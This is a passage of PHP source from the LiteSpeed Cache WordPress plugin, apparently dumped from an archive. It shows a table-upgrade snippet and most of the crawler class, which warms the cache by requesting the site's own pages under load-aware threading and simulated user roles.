$tb = $wpdb->prefix . 'litespeed_url_file'; if ( litespeed_table_exists( $tb ) ) { $q = "ALTER TABLE `{$tb}` ADD COLUMN `mobile` tinyint(4) NOT NULL COMMENT 'mobile=1', ADD COLUMN `webp` tinyint(4) NOT NULL COMMENT 'webp=1' "; // phpcs:ignore WordPress.DB.PreparedSQL.NotPrepared, WordPress.DB.DirectDatabaseQuery.DirectQuery $wpdb->query( $q ); } } crawler.cls.php000064400000131343152077520300007502 0ustar00 [], 'headers' => [], 'ua' => '', ]; /** * Built crawler variants. * * @var array */ private $_crawlers = []; /** * Current allowed worker threads. * * @var int */ private $_cur_threads = -1; /** * Max timestamp to run until. * * @var int */ private $_max_run_time; /** * Last time threads were adjusted. * * @var int */ private $_cur_thread_time; /** * Map-status list to batch-save. * * @var array */ private $_map_status_list = [ 'H' => [], 'M' => [], 'B' => [], 'N' => [], ]; /** * Summary cache. * * @var array */ protected $_summary; /** * Initialize crawler, assign sitemap path. * * @since 1.1.0 */ public function __construct() { if ( is_multisite() ) { $this->_sitemeta = 'meta' . get_current_blog_id() . '.data'; } $this->_resetfile = LITESPEED_STATIC_DIR . '/crawler/' . $this->_sitemeta . '.reset'; $this->_summary = self::get_summary(); $this->_ncpu = $this->_get_server_cpu(); $this->_server_ip = $this->conf( Base::O_SERVER_IP ); self::debug( 'Init w/ CPU cores=' . $this->_ncpu ); } /** * Try get server CPUs. * * @since 5.2 * @return int Number of cores detected. */ private function _get_server_cpu() { $cpuinfo_file = '/proc/cpuinfo'; $setting_open_dir = ini_get( 'open_basedir' ); if ( $setting_open_dir ) { return 1; // Server has limit. } try { // phpcs:ignore WordPress.PHP.NoSilencedErrors.Discouraged if (!@is_file($cpuinfo_file)) { return 1; } } catch ( \Exception $e ) { return 1; } // Local system read; no WP alternative. Suppress sniff. // phpcs:ignore WordPress.WP.AlternativeFunctions.file_get_contents_file_get_contents $cpuinfo = file_get_contents( $cpuinfo_file ); preg_match_all( '/^processor/m', $cpuinfo, $matches ); $cnt = isset( $matches[0] ) ? count( $matches[0] ) : 0; return $cnt ? $cnt : 1; } /** * Check whether the current crawler is active. * * @since 4.3 * @param int $curr Crawler index. * @return bool Active state. */ public function is_active( $curr ) { $bypass_list = self::get_option( 'bypass_list', [] ); return ! in_array( (int) $curr, $bypass_list, true ); } /** * Toggle the current crawler's active state and return the updated state. * * @since 4.3 * @param int $curr Crawler index. * @return bool True if turned on, false if turned off. */ public function toggle_activeness( $curr ) { $bypass_list = self::get_option( 'bypass_list', [] ); if ( in_array( (int) $curr, $bypass_list, true ) ) { // Remove it. $key = array_search( (int) $curr, $bypass_list, true ); if ( false !== $key ) { unset( $bypass_list[ $key ] ); $bypass_list = array_values( $bypass_list ); self::update_option( 'bypass_list', $bypass_list ); } return true; } // Add it. $bypass_list[] = (int) $curr; self::update_option( 'bypass_list', $bypass_list ); return false; } /** * Clear bypassed list. * * @since 4.3 * @access public * @return void */ public function clear_disabled_list() { self::update_option( 'bypass_list', [] ); $msg = __( 'Crawler disabled list is cleared! All crawlers are set to active! ', 'litespeed-cache' ); Admin_Display::note( $msg ); self::debug( 'All crawlers are set to active...... ' ); } /** * Overwrite get_summary to init elements. * * @since 3.0 * @access public * * @param string|false $field Field name to fetch or false to get all. * @return mixed Summary value/array or null if not found. */ public static function get_summary( $field = false ) { $_default = [ 'list_size' => 0, 'last_update_time' => 0, 'curr_crawler' => 0, 'curr_crawler_beginning_time' => 0, 'last_pos' => 0, 'last_count' => 0, 'last_crawled' => 0, 'last_start_time' => 0, 'last_status' => '', 'is_running' => 0, 'end_reason' => '', 'meta_save_time' => 0, 'pos_reset_check' => 0, 'done' => 0, 'this_full_beginning_time' => 0, 'last_full_time_cost' => 0, 'last_crawler_total_cost' => 0, 'crawler_stats' => [], // this will store all crawlers hit/miss crawl status. ]; wp_cache_delete( 'alloptions', 'options' ); // ensure the summary is current. $summary = parent::get_summary(); $summary = array_merge( $_default, $summary ); if ( false === $field ) { return $summary; } if ( array_key_exists( $field, $summary ) ) { return $summary[ $field ]; } return null; } /** * Overwrite save_summary. * * @since 3.0 * @access public * * @param array|false $data Data to save or false to save current. * @param bool $reload Whether to reload after saving. * @param bool $overwrite Whether to overwrite completely. * @return void */ public static function save_summary( $data = false, $reload = false, $overwrite = false ) { $instance = self::cls(); $instance->_summary['meta_save_time'] = time(); if ( false === $data ) { $data = $instance->_summary; } parent::save_summary( $data, $reload, $overwrite ); File::save( LITESPEED_STATIC_DIR . '/crawler/' . $instance->_sitemeta, wp_json_encode( $data ), true ); } /** * Cron start async crawling. * * @since 5.5 * @return void */ public static function start_async_cron() { Task::async_call( 'crawler' ); } /** * Manually start async crawling. * * @since 5.5 * @return void */ public static function start_async() { Task::async_call( 'crawler_force' ); $msg = __( 'Started async crawling', 'litespeed-cache' ); Admin_Display::success( $msg ); } /** * Ajax crawl handler. * * @since 5.5 * @param bool $manually_run Whether manually triggered. * @return void */ public static function async_handler( $manually_run = false ) { self::debug( '------------async-------------start_async_handler' ); self::start( (bool) $manually_run ); } /** * Proceed crawling. * * @since 1.1.0 * @access public * * @param bool $manually_run Whether manually triggered. * @return bool|void */ public static function start( $manually_run = false ) { if ( ! Router::can_crawl() ) { self::debug( '......crawler is NOT allowed by the server admin......' ); return false; } if ( $manually_run ) { self::debug( '......crawler manually ran......' ); } self::cls()->_crawl_data( (bool) $manually_run ); } /** * Crawling start. * * @since 1.1.0 * @access private * * @param bool $manually_run Whether manually triggered. * @return void */ private function _crawl_data( $manually_run ) { if ( ! defined( 'LITESPEED_LANE_HASH' ) ) { define( 'LITESPEED_LANE_HASH', Str::rrand( 8 ) ); } if ( $this->_check_valid_lane() ) { $this->_take_over_lane(); } else { self::debug( '⚠️ lane in use' ); return; } self::debug( '......crawler started......' ); // for the first time running. if ( ! $this->_summary || ! Data::cls()->tb_exist( 'crawler' ) || ! Data::cls()->tb_exist( 'crawler_blacklist' ) ) { $this->cls( 'Crawler_Map' )->gen(); } // if finished last time, regenerate sitemap. if ( 'touchedEnd' === $this->_summary['done'] ) { // check whole crawling interval. $last_finished_at = (int) $this->_summary['last_full_time_cost'] + (int) $this->_summary['this_full_beginning_time']; if ( ! $manually_run && ( time() - $last_finished_at ) < $this->conf( Base::O_CRAWLER_CRAWL_INTERVAL ) ) { self::debug( 'Cron abort: cache warmed already.' ); $this->Release_lane(); return; } self::debug( 'TouchedEnd. regenerate sitemap....' ); $this->cls( 'Crawler_Map' )->gen(); } $crawlers = $this->list_crawlers(); $crawlers_count = count( $crawlers ); // Skip the crawlers that in bypassed list. while ( ! $this->is_active( $this->_summary['curr_crawler'] ) && $this->_summary['curr_crawler'] < $crawlers_count ) { self::debug( 'Skipped the Crawler #' . $this->_summary['curr_crawler'] . ' ......' ); $this->_summary['curr_crawler'] = (int) $this->_summary['curr_crawler'] + 1; } if ( $this->_summary['curr_crawler'] >= $crawlers_count ) { $this->_end_reason = 'end'; $this->_terminate_running(); $this->Release_lane(); return; } // In case crawlers are all done but not reload, reload it. if ( empty( $this->_summary['curr_crawler'] ) || empty( $this->_crawlers[ $this->_summary['curr_crawler'] ] ) ) { $this->_summary['curr_crawler'] = 0; $this->_summary['crawler_stats'][ $this->_summary['curr_crawler'] ] = []; } $res = $this->load_conf(); if ( ! $res ) { self::debug( 'Load conf failed' ); $this->_terminate_running(); $this->Release_lane(); return; } try { $this->_engine_start(); $this->Release_lane(); } catch ( \Exception $e ) { self::debug( '🛑 ' . $e->getMessage() ); } } /** * Load conf before running crawler. * * @since 3.0 * @access private * @return bool True on success. */ private function load_conf() { $this->_crawler_conf['base'] = site_url(); $current_crawler = $this->_crawlers[ $this->_summary['curr_crawler'] ]; // Cookies. foreach ( $current_crawler as $k => $v ) { if ( 0 !== strpos( $k, 'cookie:' ) ) { continue; } if ( '_null' === $v ) { continue; } $this->_crawler_conf['cookies'][ substr( $k, 7 ) ] = $v; } // WebP/AVIF simulation. if ( ! empty( $current_crawler['webp'] ) ) { $this->_crawler_conf['headers'][] = 'Accept: image/' . ( 2 === (int) $this->conf( Base::O_IMG_OPTM_WEBP ) ? 'avif' : 'webp' ) . ',*/*'; } // Mobile crawler. if ( ! empty( $current_crawler['mobile'] ) ) { $this->_crawler_conf['ua'] = 'Mobile iPhone'; } // Limit delay to use server setting. $this->_crawler_conf['run_delay'] = 500; // microseconds. if ( defined( 'LITESPEED_CRAWLER_USLEEP' ) && constant( 'LITESPEED_CRAWLER_USLEEP' ) > $this->_crawler_conf['run_delay'] ) { $this->_crawler_conf['run_delay'] = (int) constant( 'LITESPEED_CRAWLER_USLEEP' ); } if ( isset( $_SERVER[ Base::ENV_CRAWLER_USLEEP ] ) ) { $env_usleep = absint( wp_unslash( $_SERVER[ Base::ENV_CRAWLER_USLEEP ] ) ); if ( $env_usleep > (int) $this->_crawler_conf['run_delay'] ) { $this->_crawler_conf['run_delay'] = $env_usleep; } } $this->_crawler_conf['run_duration'] = $this->get_crawler_duration(); $this->_crawler_conf['load_limit'] = (int) $this->conf( Base::O_CRAWLER_LOAD_LIMIT ); if ( isset( $_SERVER[ Base::ENV_CRAWLER_LOAD_LIMIT_ENFORCE ] ) ) { $this->_crawler_conf['load_limit'] = absint( wp_unslash( $_SERVER[ Base::ENV_CRAWLER_LOAD_LIMIT_ENFORCE ] ) ); } elseif ( isset( $_SERVER[ Base::ENV_CRAWLER_LOAD_LIMIT ] ) ) { $env_limit = absint( wp_unslash( $_SERVER[ Base::ENV_CRAWLER_LOAD_LIMIT ] ) ); if ( $env_limit < (int) $this->_crawler_conf['load_limit'] ) { $this->_crawler_conf['load_limit'] = $env_limit; } } if ( 0 === (int) $this->_crawler_conf['load_limit'] ) { self::debug( '🛑 Terminated crawler due to load limit set to 0' ); return false; } // Role simulation. if ( ! empty( $current_crawler['uid'] ) ) { if ( empty( $this->_server_ip ) ) { self::debug( '🛑 Terminated crawler due to Server IP not set' ); return false; } $vary_name = $this->cls( 'Vary' )->get_vary_name(); $vary_val = $this->cls( 'Vary' )->finalize_default_vary( $current_crawler['uid'] ); $this->_crawler_conf['cookies'][ $vary_name ] = $vary_val; $this->_crawler_conf['cookies']['litespeed_hash'] = Router::cls()->get_hash( $current_crawler['uid'] ); } return true; } /** * Get crawler duration allowance. * * @since 7.0 * @return int Seconds. */ public function get_crawler_duration() { $run_duration = defined( 'LITESPEED_CRAWLER_DURATION' ) ? (int) constant( 'LITESPEED_CRAWLER_DURATION' ) : 900; if ( $run_duration > 900 ) { $run_duration = 900; // reset to default value if defined higher than 900 seconds. } return $run_duration; } /** * Start crawler. * * @since 1.1.0 * @access private * @return void */ private function _engine_start() { // check current load. $this->_adjust_current_threads(); if ( 0 === (int) $this->_cur_threads ) { $this->_end_reason = 'stopped_highload'; self::debug( 'Stopped due to heavy load.' ); return; } // log started time. self::save_summary( [ 'last_start_time' => time() ] ); // set time limit. $max_time = (int) ini_get( 'max_execution_time' ); self::debug( 'ini_get max_execution_time=' . $max_time ); if ( 0 === $max_time ) { $max_time = 300; // hardlimit. } else { $max_time -= 5; } if ( $max_time >= (int) $this->_crawler_conf['run_duration'] ) { $max_time = (int) $this->_crawler_conf['run_duration']; self::debug( 'Use run_duration setting as max_execution_time=' . $max_time ); // phpcs:ignore WordPress.PHP.IniSet.max_execution_time_Disallowed -- Required for crawler functionality. } elseif ( ini_set( 'max_execution_time', $this->_crawler_conf['run_duration'] + 15 ) !== false ) { $max_time = $this->_crawler_conf['run_duration']; self::debug( 'ini_set max_execution_time=' . $max_time ); } self::debug( 'final max_execution_time=' . $max_time ); $this->_max_run_time = $max_time + time(); // mark running. $this->_prepare_running(); // run crawler. $this->_do_running(); $this->_terminate_running(); } /** * Get server load. * * @since 5.5 * @return int Load or -1 if unsupported. */ public function get_server_load() { if ( ! function_exists( 'sys_getloadavg' ) ) { return -1; } $curload = sys_getloadavg(); $curload = (float) $curload[0]; self::debug( 'Server load: ' . $curload ); return $curload; } /** * Adjust threads dynamically. * * @since 1.1.0 * @access private * @return void */ private function _adjust_current_threads() { $curload = $this->get_server_load(); if ( -1 === (int) $curload ) { self::debug( 'set threads=0 due to func sys_getloadavg not exist!' ); $this->_cur_threads = 0; return; } $curload /= (float) $this->_ncpu; $crawler_threads = defined( 'LITESPEED_CRAWLER_THREADS' ) ? (int) constant( 'LITESPEED_CRAWLER_THREADS' ) : 3; $load_limit = (float) $this->_crawler_conf['load_limit']; $current_threads = (int) $this->_cur_threads; if ( -1 === $current_threads ) { // init. if ( $curload > $load_limit ) { $curthreads = 0; } elseif ( $curload >= ( $load_limit - 1 ) ) { $curthreads = 1; } else { $curthreads = (int) ( $load_limit - $curload ); if ( $curthreads > $crawler_threads ) { $curthreads = $crawler_threads; } } } else { // adjust. $curthreads = $current_threads; if ( $curload >= ( $load_limit + 1 ) ) { sleep( 5 ); // sleep 5 secs. if ( $curthreads >= 1 ) { --$curthreads; } } elseif ( $curload >= $load_limit ) { --$curthreads; } elseif ( ( $curload + 1 ) < $load_limit ) { if ( $curthreads < $crawler_threads ) { ++$curthreads; } } } $this->_cur_threads = (int) $curthreads; $this->_cur_thread_time = time(); } /** * Mark running status. * * @since 1.1.0 * @access private * @return void */ private function _prepare_running() { $this->_summary['is_running'] = time(); $this->_summary['done'] = 0; // reset done status. $this->_summary['last_status'] = 'prepare running'; $this->_summary['last_crawled'] = 0; // Current crawler starttime mark. if ( 0 === (int) $this->_summary['last_pos'] ) { $this->_summary['curr_crawler_beginning_time'] = time(); } if ( 0 === (int) $this->_summary['curr_crawler'] && 0 === (int) $this->_summary['last_pos'] ) { $this->_summary['this_full_beginning_time'] = time(); $this->_summary['list_size'] = $this->cls( 'Crawler_Map' )->count_map(); } if ( 'end' === $this->_summary['end_reason'] && 0 === (int) $this->_summary['last_pos'] ) { $this->_summary['crawler_stats'][ $this->_summary['curr_crawler'] ] = []; } self::save_summary(); } /** * Take over lane. * * @since 6.1 * @return void */ private function _take_over_lane() { self::debug( 'Take over lane as lane is free: ' . $this->json_local_path() . '.pid' ); File::save( $this->json_local_path() . '.pid', LITESPEED_LANE_HASH ); } /** * Update lane file mtime. * * @since 6.1 * @return void */ private function _touch_lane() { // phpcs:ignore WordPress.WP.AlternativeFunctions.file_system_operations_touch touch( $this->json_local_path() . '.pid' ); } /** * Release lane file. * * @since 6.1 * @return void */ public function Release_lane() { $lane_file = $this->json_local_path() . '.pid'; if ( ! file_exists( $lane_file ) ) { return; } self::debug( 'Release lane' ); // phpcs:ignore WordPress.WP.AlternativeFunctions.unlink_unlink unlink( $lane_file ); } /** * Check if lane is used by other crawlers. * * @since 6.1 * @param bool $strict_mode Strict check that file must exist. * @return bool True if valid lane. */ private function _check_valid_lane( $strict_mode = false ) { $lane_file = $this->json_local_path() . '.pid'; if ( $strict_mode ) { if ( ! file_exists( $lane_file ) ) { self::debug( 'lane file not existed, strict mode is false [file] ' . $lane_file ); return false; } } $pid = File::read( $lane_file ); if ( $pid && LITESPEED_LANE_HASH !== $pid ) { // If lane file is older than 1h, ignore. if ( ( time() - filemtime( $lane_file ) ) > 3600 ) { self::debug( 'Lane file is older than 1h, releasing lane' ); $this->Release_lane(); return true; } return false; } return true; } /** * Test port for simulator. * * @since 7.0 * @access private * @return bool true if success and can continue crawling, false otherwise. */ private function _test_port() { if ( empty( $this->_server_ip ) ) { if ( empty( $this->_crawlers[ $this->_summary['curr_crawler'] ]['uid'] ) ) { self::debug( 'Bypass test port as Server IP is not set' ); return true; } self::debug( '❌ Server IP not set' ); return false; } if ( defined( 'LITESPEED_CRAWLER_LOCAL_PORT' ) ) { self::debug( '✅ LITESPEED_CRAWLER_LOCAL_PORT already defined' ); return true; } // Don't repeat testing in 120s. if ( ! empty( $this->_summary['test_port_tts'] ) && ( time() - (int) $this->_summary['test_port_tts'] ) < 120 ) { if ( ! empty( $this->_summary['test_port'] ) ) { self::debug( '✅ Use tested local port: ' . $this->_summary['test_port'] ); define( 'LITESPEED_CRAWLER_LOCAL_PORT', (int) $this->_summary['test_port'] ); return true; } return false; } $this->_summary['test_port_tts'] = time(); self::save_summary(); $options = $this->_get_curl_options(); $home = home_url(); File::save( LITESPEED_STATIC_DIR . '/crawler/test_port.html', $home, true ); $url = LITESPEED_STATIC_URL . '/crawler/test_port.html'; $parsed_url = wp_parse_url( $url ); if ( empty( $parsed_url['host'] ) ) { self::debug( '❌ Test port failed, invalid URL: ' . $url ); return false; } $resolved = $parsed_url['host'] . ':443:' . $this->_server_ip; $options[ CURLOPT_RESOLVE ] = [ $resolved ]; $options[ CURLOPT_DNS_USE_GLOBAL_CACHE ] = false; $options[ CURLOPT_HEADER ] = false; self::debug( 'Test local 443 port for ' . $resolved ); // cURL is intentionally used for speed; suppress sniffs in this method. // phpcs:disable WordPress.WP.AlternativeFunctions $ch = curl_init(); curl_setopt_array( $ch, $options ); curl_setopt( $ch, CURLOPT_URL, $url ); $result = curl_exec( $ch ); $test_result = false; if ( curl_errno( $ch ) || $result !== $home ) { if ( curl_errno( $ch ) ) { self::debug( '❌ Test port curl error: [errNo] ' . curl_errno( $ch ) . ' [err] ' . curl_error( $ch ) ); } elseif ( $result !== $home ) { self::debug( '❌ Test port response is wrong: ' . $result ); } self::debug( '❌ Test local 443 port failed, try port 80' ); // Try port 80. $resolved = $parsed_url['host'] . ':80:' . $this->_server_ip; $options[ CURLOPT_RESOLVE ] = [ $resolved ]; $url = str_replace( 'https://', 'http://', $url ); if ( empty( $options[ CURLOPT_HTTPHEADER ] ) || ! in_array( 'X-Forwarded-Proto: https', $options[ CURLOPT_HTTPHEADER ], true ) ) { $options[ CURLOPT_HTTPHEADER ][] = 'X-Forwarded-Proto: https'; } $ch = curl_init(); curl_setopt_array( $ch, $options ); curl_setopt( $ch, CURLOPT_URL, $url ); $result = curl_exec( $ch ); if ( curl_errno( $ch ) ) { self::debug( '❌ Test port curl error: [errNo] ' . curl_errno( $ch ) . ' [err] ' . curl_error( $ch ) ); } elseif ( $result !== $home ) { self::debug( '❌ Test port response is wrong: ' . $result ); } else { self::debug( '✅ Test local 80 port successfully' ); define( 'LITESPEED_CRAWLER_LOCAL_PORT', 80 ); $this->_summary['test_port'] = 80; $test_result = true; } } else { self::debug( '✅ Tested local 443 port successfully' ); define( 'LITESPEED_CRAWLER_LOCAL_PORT', 443 ); $this->_summary['test_port'] = 443; $test_result = true; } self::save_summary(); unset( $ch ); // phpcs:enable return $test_result; } /** * Run crawler. * * @since 1.1.0 * @access private * @return void * @throws \Exception When lane becomes invalid during run. */ private function _do_running() { $options = $this->_get_curl_options( true ); // If is role simulator and not defined local port, check port once. $test_result = $this->_test_port(); if ( ! $test_result ) { $this->_end_reason = 'port_test_failed'; self::debug( '❌ Test port failed, crawler stopped.' ); return; } while ( true ) { $url_chunks = $this->cls( 'Crawler_Map' )->list_map( self::CHUNKS, $this->_summary['last_pos'] ); if ( empty( $url_chunks ) ) { break; } $url_chunks = array_chunk( $url_chunks, (int) $this->_cur_threads ); foreach ( $url_chunks as $rows ) { if ( ! $this->_check_valid_lane( true ) ) { $this->_end_reason = 'lane_invalid'; self::debug( '🛑 The crawler lane is used by newer crawler.' ); throw new \Exception( 'invalid crawler lane' ); } // Update time. $this->_touch_lane(); // multi curl. $rets = $this->_multi_request( $rows, $options ); // check result headers. foreach ( $rows as $row ) { if ( empty( $rets[ $row['id'] ] ) ) { continue; } if ( 428 === (int) $rets[ $row['id'] ]['code'] ) { // HTTP/1.1 428 Precondition Required (need to test) $this->_end_reason = 'crawler_disabled'; self::debug( 'crawler_disabled' ); return; } $status = $this->_status_parse( $rets[ $row['id'] ]['header'], $rets[ $row['id'] ]['code'], $row['url'] ); // B or H or M or N(nocache). self::debug( '[status] ' . $this->_status2title( $status ) . "\t\t [url] " . $row['url'] ); $this->_map_status_list[ $status ][ $row['id'] ] = [ 'url' => $row['url'], 'code' => (int) $rets[ $row['id'] ]['code'], // 201 or 200 or 404. ]; if ( empty( $this->_summary['crawler_stats'][ $this->_summary['curr_crawler'] ][ $status ] ) ) { $this->_summary['crawler_stats'][ $this->_summary['curr_crawler'] ][ $status ] = 0; } ++$this->_summary['crawler_stats'][ $this->_summary['curr_crawler'] ][ $status ]; } // update offset position. $_time = time(); $this->_summary['last_count'] = count( $rows ); $this->_summary['last_pos'] += $this->_summary['last_count']; $this->_summary['last_crawled'] += $this->_summary['last_count']; $this->_summary['last_update_time'] = $_time; $this->_summary['last_status'] = 'updated position'; // check duration. if ( $this->_summary['last_update_time'] > $this->_max_run_time ) { $this->_end_reason = 'stopped_maxtime'; self::debug( 'Terminated due to maxtime' ); return; } // make sure at least each 10s save meta & map status once. if ( $_time - $this->_summary['meta_save_time'] > 10 ) { $this->_map_status_list = $this->cls( 'Crawler_Map' )->save_map_status( $this->_map_status_list, $this->_summary['curr_crawler'] ); self::save_summary(); } // check if need to reset pos each 5s. if ( $_time > $this->_summary['pos_reset_check'] ) { $this->_summary['pos_reset_check'] = $_time + 5; if ( file_exists( $this->_resetfile ) && unlink( $this->_resetfile ) ) { // phpcs:ignore WordPress.WP.AlternativeFunctions.unlink_unlink self::debug( 'Terminated due to reset file' ); $this->_summary['last_pos'] = 0; $this->_summary['curr_crawler'] = 0; $this->_summary['crawler_stats'][ $this->_summary['curr_crawler'] ] = []; // reset done status. $this->_summary['done'] = 0; $this->_summary['this_full_beginning_time'] = 0; $this->_end_reason = 'stopped_reset'; return; } } // check loads. if ( ( $this->_summary['last_update_time'] - $this->_cur_thread_time ) > 60 ) { $this->_adjust_current_threads(); if ( 0 === (int) $this->_cur_threads ) { $this->_end_reason = 'stopped_highload'; self::debug( '🛑 Terminated due to highload' ); return; } } $this->_summary['last_status'] = 'sleeping ' . (int) $this->_crawler_conf['run_delay'] . 'ms'; usleep( (int) $this->_crawler_conf['run_delay'] ); } } // All URLs are done for current crawler. $this->_end_reason = 'end'; $this->_summary['crawler_stats'][ $this->_summary['curr_crawler'] ]['W'] = 0; self::debug( 'Crawler #' . $this->_summary['curr_crawler'] . ' touched end' ); } /** * If need to resolve DNS or not. * * @since 7.3.0.1 * @return bool */ private function _should_force_resolve_dns() { if ( ! empty( $this->_server_ip ) ) { return true; } if ( ! empty( $this->_crawler_conf['cookies'] ) && ! empty( $this->_crawler_conf['cookies']['litespeed_hash'] ) ) { return true; } return false; } /** * Send multi curl requests. * If res=B/N, bypass request and won't return. * * @since 1.1.0 * @access private * * @param array> $rows Rows to crawl. * @param array $options cURL options. * @return array */ private function _multi_request( $rows, $options ) { if ( ! function_exists( 'curl_multi_init' ) ) { exit( 'curl_multi_init disabled' ); } // phpcs:disable WordPress.WP.AlternativeFunctions $mh = curl_multi_init(); $crawler_drop_domain = defined( 'LITESPEED_CRAWLER_DROP_DOMAIN' ) ? (bool) constant( 'LITESPEED_CRAWLER_DROP_DOMAIN' ) : false; $curls = []; foreach ( $rows as $row ) { if ( self::STATUS_BLACKLIST === substr( $row['res'], $this->_summary['curr_crawler'], 1 ) ) { continue; } if ( self::STATUS_NOCACHE === substr( $row['res'], $this->_summary['curr_crawler'], 1 ) ) { continue; } if (!function_exists('curl_init')) { exit('curl_init disabled'); } $curls[$row['id']] = curl_init(); // Append URL. $url = $row['url']; if ( $crawler_drop_domain ) { $url = $this->_crawler_conf['base'] . $row['url']; } // IP resolve. if ( $this->_should_force_resolve_dns() ) { $parsed_url = wp_parse_url( $url ); if ( ! empty( $parsed_url['host'] ) ) { $dom = $parsed_url['host']; $port = defined( 'LITESPEED_CRAWLER_LOCAL_PORT' ) ? (int) LITESPEED_CRAWLER_LOCAL_PORT : 443; $resolved = $dom . ':' . $port . ':' . $this->_server_ip; $options[ CURLOPT_RESOLVE ] = [ $resolved ]; $options[ CURLOPT_DNS_USE_GLOBAL_CACHE ] = false; if ( 80 === $port ) { $url = str_replace( 'https://', 'http://', $url ); if ( empty( $options[ CURLOPT_HTTPHEADER ] ) || ! in_array( 'X-Forwarded-Proto: https', $options[ CURLOPT_HTTPHEADER ], true ) ) { $options[ CURLOPT_HTTPHEADER ][] = 'X-Forwarded-Proto: https'; } } self::debug( 'Resolved DNS for ' . $resolved ); } } curl_setopt( $curls[ $row['id'] ], CURLOPT_URL, $url ); self::debug( 'Crawling [url] ' . $url . ( $url === $row['url'] ? '' : ' [ori] ' . $row['url'] ) ); curl_setopt_array( $curls[ $row['id'] ], $options ); curl_multi_add_handle( $mh, $curls[ $row['id'] ] ); } // execute curl. if ( $curls ) { do { $status = curl_multi_exec( $mh, $active ); if ( $active ) { curl_multi_select( $mh ); } } while ( $active && CURLM_OK === $status ); } // curl done. $ret = []; foreach ( $rows as $row ) { if ( self::STATUS_BLACKLIST === substr( $row['res'], $this->_summary['curr_crawler'], 1 ) ) { continue; } if ( self::STATUS_NOCACHE === substr( $row['res'], $this->_summary['curr_crawler'], 1 ) ) { continue; } $ch = $curls[ $row['id'] ]; // Parse header. $header_size = curl_getinfo( $ch, CURLINFO_HEADER_SIZE ); $content = curl_multi_getcontent( $ch ); $header = substr( $content, 0, $header_size ); $ret[ $row['id'] ] = [ 'header' => $header, 'code' => (int) curl_getinfo( $ch, CURLINFO_HTTP_CODE ), ]; curl_multi_remove_handle( $mh, $ch ); unset( $ch ); } curl_multi_close( $mh ); // phpcs:enable return $ret; } /** * Translate the status to title. * * @since 6.0 * @param string $status Status char. * @return string Human title. */ private function _status2title( $status ) { if ( self::STATUS_HIT === $status ) { return '✅ Hit'; } if ( self::STATUS_MISS === $status ) { return '😊 Miss'; } if ( self::STATUS_BLACKLIST === $status ) { return '😅 Blacklisted'; } if ( self::STATUS_NOCACHE === $status ) { return '😅 Blacklisted'; } return '🛸 Unknown'; } /** * Check returned curl header to find if cached or not. * * @since 2.0 * @access private * * @param string $header Response header. * @param int $code HTTP code. * @param string $url URL. * @return string One of status chars. */ private function _status_parse( $header, $code, $url ) { if ( 201 === (int) $code ) { return self::STATUS_HIT; } if ( false !== stripos( $header, 'X-Litespeed-Cache-Control: no-cache' ) ) { // If is from DIVI, taken as miss. if ( defined( 'LITESPEED_CRAWLER_IGNORE_NONCACHEABLE' ) && constant( 'LITESPEED_CRAWLER_IGNORE_NONCACHEABLE' ) ) { return self::STATUS_MISS; } // If blacklist is disabled. if ( ( defined( 'LITESPEED_CRAWLER_DISABLE_BLOCKLIST' ) && constant( 'LITESPEED_CRAWLER_DISABLE_BLOCKLIST' ) ) || apply_filters( 'litespeed_crawler_disable_blocklist', false, $url ) ) { return self::STATUS_MISS; } return self::STATUS_NOCACHE; // Blacklist. } $_cache_headers = [ 'x-litespeed-cache', 'x-qc-cache', 'x-lsadc-cache' ]; foreach ( $_cache_headers as $_header ) { if ( false !== stripos( $header, $_header ) ) { if ( false !== stripos( $header, $_header . ': bkn' ) ) { return self::STATUS_HIT; // Hit. } if ( false !== stripos( $header, $_header . ': miss' ) ) { return self::STATUS_MISS; // Miss. } return self::STATUS_HIT; // Hit. } } // If blacklist is disabled. if ( ( defined( 'LITESPEED_CRAWLER_DISABLE_BLOCKLIST' ) && constant( 'LITESPEED_CRAWLER_DISABLE_BLOCKLIST' ) ) || apply_filters( 'litespeed_crawler_disable_blocklist', false, $url ) ) { return self::STATUS_MISS; } return self::STATUS_BLACKLIST; // Blacklist. } /** * Get curl options. * * @since 1.1.0 * @access private * * @param bool $crawler_only Whether crawler-only UA. * @return array */ private function _get_curl_options( $crawler_only = false ) { $crawler_timeout = defined( 'LITESPEED_CRAWLER_TIMEOUT' ) ? (int) constant( 'LITESPEED_CRAWLER_TIMEOUT' ) : 30; $options = [ CURLOPT_RETURNTRANSFER => true, CURLOPT_HEADER => true, CURLOPT_CUSTOMREQUEST => 'GET', CURLOPT_FOLLOWLOCATION => false, CURLOPT_ENCODING => 'gzip', CURLOPT_CONNECTTIMEOUT => 10, CURLOPT_TIMEOUT => $crawler_timeout, // Larger timeout to avoid incorrect blacklist addition #900171. CURLOPT_SSL_VERIFYHOST => 0, CURLOPT_SSL_VERIFYPEER => false, CURLOPT_NOBODY => false, CURLOPT_HTTPHEADER => $this->_crawler_conf['headers'], ]; $options[ CURLOPT_HTTPHEADER ][] = 'Cache-Control: max-age=0'; $options[ CURLOPT_HTTP_VERSION ] = CURL_HTTP_VERSION_1_1; // if is walker // $options[ CURLOPT_FRESH_CONNECT ] = true; // Referer. if ( isset( $_SERVER['HTTP_HOST'], $_SERVER['REQUEST_URI'] ) ) { $host = sanitize_text_field( wp_unslash( $_SERVER['HTTP_HOST'] ) ); $uri = sanitize_text_field( wp_unslash( $_SERVER['REQUEST_URI'] ) ); $options[ CURLOPT_REFERER ] = 'http://' . $host . $uri; } // User Agent. if ( $crawler_only ) { if ( 0 !== strpos( (string) $this->_crawler_conf['ua'], self::FAST_USER_AGENT ) ) { $this->_crawler_conf['ua'] = self::FAST_USER_AGENT . ' ' . (string) $this->_crawler_conf['ua']; } } $options[ CURLOPT_USERAGENT ] = (string) $this->_crawler_conf['ua']; // Cookies. $cookies = []; foreach ( $this->_crawler_conf['cookies'] as $k => $v ) { if ( ! $v ) { continue; } $cookies[] = $k . '=' . rawurlencode( $v ); } if ( $cookies ) { $options[ CURLOPT_COOKIE ] = implode( '; ', $cookies ); } return $options; } /** * Self curl to get HTML content. * * @since 3.3 * * @param string $url URL. * @param string $ua User agent. * @param int|false $uid Optional user ID for simulation. * @param string|false $accept Optional Accept header value. * @return string|false HTML on success, false on failure. */ public function self_curl( $url, $ua, $uid = false, $accept = false ) { $this->_crawler_conf['base'] = site_url(); $this->_crawler_conf['ua'] = $ua; if ( $accept ) { $this->_crawler_conf['headers'] = [ 'Accept: ' . $accept ]; } $options = $this->_get_curl_options(); if ( $uid ) { $this->_crawler_conf['cookies']['litespeed_flash_hash'] = Router::cls()->get_flash_hash( $uid ); $parsed_url = 